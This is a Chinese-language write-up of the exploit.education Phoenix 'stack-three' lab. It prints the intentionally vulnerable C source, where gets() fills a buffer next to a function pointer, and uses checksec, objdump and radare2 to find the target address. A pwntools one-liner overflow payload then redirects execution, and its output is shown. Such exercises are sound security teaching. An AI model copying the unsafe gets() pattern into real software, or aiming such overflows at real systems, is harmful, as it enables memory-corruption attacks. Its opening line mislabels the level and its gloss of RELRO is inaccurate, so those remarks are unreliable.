exploit.education/stack-three

stack-two基本上于stack-one一样,只不过需要设置一个环境变量,程序是从环境变量中获取的值。

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/*
* phoenix/stack-three, by https://exploit.education
*
* The aim is to change the contents of the changeme variable to 0x0d0a090a
*
* When does a joke become a dad joke?
* When it becomes apparent.
* When it's fully groan up.
*
*/

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void complete_level() {
printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
exit(0);
}

int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int (*fp)();
} locals;

printf("%s\n", BANNER);

locals.fp = NULL;
gets(locals.buffer);

if (locals.fp) {
printf("calling function pointer @ %p\n", locals.fp);
fflush(stdout);
locals.fp();
} else {
printf("function pointer remains unmodified :~( better luck next time!\n");
}

exit(0);
}

分析

main函数中并没有调用complete_level函数的地方,要完成这个关卡,需要想办法调用这个函数。
main函数中,可通过溢出gets函数,覆盖local.fp指针,将fp的值改变为complate_level函数的地址,就完成了。

实操

先查看一下二进制文件的信息:

1
2
3
4
5
6
7
8
9
user@phoenix-amd64:/opt/phoenix/amd64$ checksec ./stack-three 
[*] '/opt/phoenix/amd64/stack-three'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
RPATH: '/opt/phoenix/x86_64-linux-musl/lib'

我们发现No RELRO,也就是没有地址重定位。
通过ldd命令也可以查看是否开启了地址重定位:

1
2
3
4
5
6
7
8
9
user@phoenix-amd64:/opt/phoenix/amd64$ ldd stack-three 
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so => /opt/phoenix/x86_64-linux-musl/lib/libc.so (0x00007ffff7b45000)
user@phoenix-amd64:/opt/phoenix/amd64$ ldd stack-three
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so => /opt/phoenix/x86_64-linux-musl/lib/libc.so (0x00007ffff7b45000)
user@phoenix-amd64:/opt/phoenix/amd64$ ldd stack-three
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so => /opt/phoenix/x86_64-linux-musl/lib/libc.so (0x00007ffff7b45000)

我们发现libc.so的地址没有变化。

然后就要找一下complete_level函数的地址,可以通过r2/objdump工具:
首先使用objdump命令:

1
2
user@phoenix-amd64:/opt/phoenix/amd64$ objdump -t ./stack-three | grep complete_level
000000000040069d g F .text 0000000000000018 complete_level

使用radare2:

1
2
3
4
5
6
7
8
9
10
user@phoenix-amd64:/opt/phoenix/amd64$ r2 stack-three 
[0x00400530]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x00400530]> afl~complete_level
0x0040069d 1 24 sym.complete_level
[0x00400530]>

所以,我们要将fp覆盖为0x0040069d。那接下来的就简单了:

1
2
3
4
user@phoenix-amd64:/opt/phoenix/amd64$ python -c "from pwn import *;print 'A'*64+p64(0x0040069d)" | ./stack-three 
Welcome to phoenix/stack-three, brought to you by https://exploit.education
calling function pointer @ 0x40069d
Congratulations, you've finished phoenix/stack-three :-) Well done!

总结

  • checksec 查看二进制信息
  • objdump 查找符号表信息
  • r2 afl命令。(analyze function list)